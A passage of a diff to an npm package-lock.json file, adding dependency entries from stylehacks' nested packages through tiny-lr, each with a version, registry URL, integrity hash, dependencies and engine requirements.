"engines": { + "node": ">=4" + } + }, + "node_modules/stylehacks/node_modules/postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "dependencies": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/stylehacks/node_modules/postcss-selector-parser": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", + "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", + "dev": true, + "dependencies": { + "dot-prop": "^4.1.1", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/stylehacks/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/stylehacks/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/subarg": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/subarg/-/subarg-1.0.0.tgz", + "integrity": "sha1-9izxdYHplrSPyWVpn1TAauJouNI=", + "dev": true, + "dependencies": { + "minimist": "^1.1.0" + } + }, + "node_modules/sudo-prompt": { + "version": "9.2.1", + "resolved": "https://registry.npmjs.org/sudo-prompt/-/sudo-prompt-9.2.1.tgz", + "integrity": "sha512-Mu7R0g4ig9TUuGSxJavny5Rv0egCEtpZRNMrZaYS1vxkiIxGiGUwoezU3LazIQ+KE04hTrTfNPgxU5gzi7F5Pw==", + "peer": true + }, + "node_modules/supports-color": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", + "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/svgo": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-0.7.2.tgz", + "integrity": "sha1-n1dyQTlSE1xv779Ar+ak+qiLS7U=", + "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.", + "dev": true, + "dependencies": { + "coa": "~1.0.1", + "colors": "~1.1.2", + "csso": "~2.3.1", + "js-yaml": "~3.7.0", + "mkdirp": "~0.5.1", + "sax": "~1.2.1", + "whet.extend": "~0.9.9" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/syntax-error": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/syntax-error/-/syntax-error-1.4.0.tgz", + "integrity": "sha512-YPPlu67mdnHGTup2A8ff7BC2Pjq0e0Yp/IyTFN03zWO0RcK07uLcbi7C2KpGR2FvWbaB0+bfE27a+sBKebSo7w==", + "dev": true, + "dependencies": { + "acorn-node": "^1.2.0" + } + }, + "node_modules/table": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/table/-/table-4.0.2.tgz", + "integrity": "sha512-UUkEAPdSGxtRpiV9ozJ5cMTtYiqz7Ni1OGqLXRCynrvzdtR1p+cfOWe2RJLwvUG8hNanaSRjecIqwOjqeatDsA==", + "dev": true, + "dependencies": { + "ajv": "^5.2.3", + "ajv-keywords": "^2.1.0", + "chalk": "^2.1.0", + "lodash": "^4.17.4", + "slice-ansi": "1.0.0", + "string-width": "^2.1.1" + } + }, + "node_modules/table/node_modules/ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/table/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/table/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/table/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/table/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/table/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/table/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/table/node_modules/string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha1-q5Pyeo3BPSjKyBXEYhQ6bZASrp4=", + "dev": true, + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/table/node_modules/strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/table/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/tar": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.1.tgz", + "integrity": "sha1-jk0qJWwOIYXGsYrWlK7JaLg8sdE=", + "deprecated": "This version of tar is no longer supported, and will not receive security updates. Please upgrade asap.", + "dev": true, + "dependencies": { + "block-stream": "*", + "fstream": "^1.0.2", + "inherits": "2" + } + }, + "node_modules/tar-fs": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-1.16.0.tgz", + "integrity": "sha512-I9rb6v7mjWLtOfCau9eH5L7sLJyU2BnxtEZRQ5Mt+eRKmf1F0ohXmT/Jc3fr52kDvjJ/HV5MH3soQfPL5bQ0Yg==", + "dev": true, + "optional": true, + "dependencies": { + "chownr": "^1.0.1", + "mkdirp": "^0.5.1", + "pump": "^1.0.0", + "tar-stream": "^1.1.2" + } + }, + "node_modules/tar-fs/node_modules/pump": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/pump/-/pump-1.0.3.tgz", + "integrity": "sha512-8k0JupWme55+9tCVE+FS5ULT3K6AbgqrGa58lTT49RpyfwwcGedHqaC5LlQNdEAumn/wFsu6aPwkuPMioy8kqw==", + "dev": true, + "optional": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/tar-stream": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.5.5.tgz", + "integrity": "sha512-mQdgLPc/Vjfr3VWqWbfxW8yQNiJCbAZ+Gf6GDu1Cy0bdb33ofyiNGBtAY96jHFhDuivCwgW1H9DgTON+INiXgg==", + "dev": true, + "dependencies": { + "bl": "^1.0.0", + "end-of-stream": "^1.0.0", + "readable-stream": "^2.0.0", + "xtend": "^4.0.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/temp": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/temp/-/temp-0.8.3.tgz", + "integrity": "sha512-jtnWJs6B1cZlHs9wPG7BrowKxZw/rf6+UpGAkr8AaYmiTyTO7zQlLoST8zx/8TcUPnZmeBoB+H8ARuHZaSijVw==", + "engines": [ + "node >=0.8.0" + ], + "peer": true, + "dependencies": { + "os-tmpdir": "^1.0.0", + "rimraf": "~2.2.6" + } + }, + "node_modules/temp/node_modules/rimraf": { + "version": "2.2.8", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.2.8.tgz", + "integrity": "sha512-R5KMKHnPAQaZMqLOsyuyUmcIjSeDm+73eoqQpaXA7AZ22BL+6C+1mcUscgOsNd8WVlJuvlgAPsegcx7pjlV0Dg==", + "peer": true, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/terser": { + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz", + "integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==", + "dev": true, + "dependencies": { + "commander": "^2.20.0", + "source-map": "~0.6.1", + "source-map-support": "~0.5.12" + }, + "bin": { + "terser": "bin/terser" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/terser-webpack-plugin": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.4.tgz", + "integrity": "sha512-U4mACBHIegmfoEe5fdongHESNJWqsGU+W0S/9+BmYGVQDw1+c2Ow05TpMhxjPK1sRb7cuYq1BPl1e5YHJMTCqA==", + "dev": true, + "dependencies": { + "cacache": "^12.0.2", + "find-cache-dir": "^2.1.0", + "is-wsl": "^1.1.0", + "schema-utils": "^1.0.0", + "serialize-javascript": "^3.1.0", + "source-map": "^0.6.1", + "terser": "^4.1.2", + "webpack-sources": "^1.4.0", + "worker-farm": "^1.7.0" + }, + "engines": { + "node": ">= 6.9.0" + }, + "peerDependencies": { + "webpack": "^4.0.0" + } + }, + "node_modules/terser-webpack-plugin/node_modules/ajv": { + "version": "6.12.3", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.3.tgz", + "integrity": "sha512-4K0cK3L1hsqk9xIb2z9vs/XU+PGJZ9PNpJRDS9YLzmNdX6jmVPfamLvTJr0aDAusnHyCHO6MjzlkAsgtqp9teA==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/terser-webpack-plugin/node_modules/ajv-keywords": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.1.tgz", + "integrity": "sha512-KWcq3xN8fDjSB+IMoh2VaXVhRI0BBGxoYp3rx7Pkb6z0cFjYR9Q9l4yZqqals0/zsioCmocC5H6UvsGD4MoIBA==", + "dev": true, + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/terser-webpack-plugin/node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "dev": true + }, + "node_modules/terser-webpack-plugin/node_modules/cacache": { + "version": "12.0.4", + "resolved": "https://registry.npmjs.org/cacache/-/cacache-12.0.4.tgz", + "integrity": "sha512-a0tMB40oefvuInr4Cwb3GerbL9xTj1D5yg0T5xrjGCGyfvbxseIXX7BAO/u/hIXdafzOI5JC3wDwHyf24buOAQ==", + "dev": true, + "dependencies": { + "bluebird": "^3.5.5", + "chownr": "^1.1.1", + "figgy-pudding": "^3.5.1", + "glob": "^7.1.4", + "graceful-fs": "^4.1.15", + "infer-owner": "^1.0.3", + "lru-cache": "^5.1.1", + "mississippi": "^3.0.0", + "mkdirp": "^0.5.1", + "move-concurrently": "^1.0.1", + "promise-inflight": "^1.0.1", + "rimraf": "^2.6.3", + "ssri": "^6.0.1", + "unique-filename": "^1.1.1", + "y18n": "^4.0.0" + } + }, + "node_modules/terser-webpack-plugin/node_modules/chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "dev": true + }, + "node_modules/terser-webpack-plugin/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true + }, + "node_modules/terser-webpack-plugin/node_modules/find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", + "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "dev": true, + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^2.0.0", + "pkg-dir": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser-webpack-plugin/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser-webpack-plugin/node_modules/glob": { + "version": "7.1.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", + "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/terser-webpack-plugin/node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "node_modules/terser-webpack-plugin/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser-webpack-plugin/node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/terser-webpack-plugin/node_modules/make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "dev": true, + "dependencies": { + "pify": "^4.0.1", + "semver": "^5.6.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser-webpack-plugin/node_modules/mississippi": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", + "integrity": "sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==", + "dev": true, + "dependencies": { + "concat-stream": "^1.5.0", + "duplexify": "^3.4.2", + "end-of-stream": "^1.1.0", + "flush-write-stream": "^1.0.0", + "from2": "^2.1.0", + "parallel-transform": "^1.1.0", + "pump": "^3.0.0", + "pumpify": "^1.3.3", + "stream-each": "^1.1.0", + "through2": "^2.0.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/terser-webpack-plugin/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/terser-webpack-plugin/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser-webpack-plugin/node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser-webpack-plugin/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/terser-webpack-plugin/node_modules/pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser-webpack-plugin/node_modules/pkg-dir": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", + "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", + "dev": true, + "dependencies": { + "find-up": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/terser-webpack-plugin/node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dev": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/terser-webpack-plugin/node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/terser-webpack-plugin/node_modules/rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/terser-webpack-plugin/node_modules/schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", + "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==", + "dev": true, + "dependencies": { + "ajv": "^6.1.0", + "ajv-errors": "^1.0.0", + "ajv-keywords": "^3.1.0" + }, + "engines": { + "node": ">= 4" + } + }, + "node_modules/terser-webpack-plugin/node_modules/serialize-javascript": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-3.1.0.tgz", + "integrity": "sha512-JIJT1DGiWmIKhzRsG91aS6Ze4sFUrYbltlkg2onR5OrnNM02Kl/hnY/T4FN2omvyeBbQmMJv+K4cPOpGzOTFBg==", + "dev": true, + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/terser-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/terser-webpack-plugin/node_modules/ssri": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.1.tgz", + "integrity": "sha512-3Wge10hNcT1Kur4PDFwEieXSCMCJs/7WvSACcrMYrNp+b8kDL1/0wJch5Ni2WrtwEa2IO8OsVfeKIciKCDx/QA==", + "dev": true, + "dependencies": { + "figgy-pudding": "^3.5.1" + } + }, + "node_modules/terser-webpack-plugin/node_modules/unique-filename": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz", + "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==", + "dev": true, + "dependencies": { + "unique-slug": "^2.0.0" + } + }, + "node_modules/terser-webpack-plugin/node_modules/webpack-sources": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", + "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", + "dev": true, + "dependencies": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + } + }, + "node_modules/terser-webpack-plugin/node_modules/worker-farm": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.7.0.tgz", + "integrity": "sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==", + "dev": true, + "dependencies": { + "errno": "~0.1.7" + } + }, + "node_modules/terser-webpack-plugin/node_modules/y18n": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", + "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", + "dev": true + }, + "node_modules/terser-webpack-plugin/node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true + }, + "node_modules/terser/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/terser/node_modules/source-map-support": { + "version": "0.5.19", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", + "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "dev": true, + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=", + "dev": true + }, + "node_modules/throat": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/throat/-/throat-5.0.0.tgz", + "integrity": "sha512-fcwX4mndzpLQKBS1DVYhGAcYaYt7vsHNIvQV+WXMvnow5cgjPphq5CaayLaGsjRdSCKZFNGt7/GYAuXaNOiYCA==", + "peer": true + }, + "node_modules/through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", + "dev": true + }, + "node_modules/through2": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.3.tgz", + "integrity": "sha1-AARWmzfHx0ujnEPzzteNGtlBQL4=", + "dependencies": { + "readable-stream": "^2.1.5", + "xtend": "~4.0.1" + } + }, + "node_modules/timers-browserify": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-1.4.2.tgz", + "integrity": "sha1-ycWLV1voQHN1y14kYtrO50NZ9B0=", + "dev": true, + "dependencies": { + "process": "~0.11.0" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/timsort": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", + "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=", + "dev": true + }, + "node_modules/tiny-lr": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/tiny-lr/-/tiny-lr-1.1.1.tgz", + "integrity": "sha512-44yhA3tsaRoMOjQQ+5v5mVdqef+kH6Qze9jTpqtVufgYjYt08zyZAwNwwVBj3i1rJMnR52IxOW0LK0vBzgAkuA==", + "dev": true, + "dependencies": { + "body": 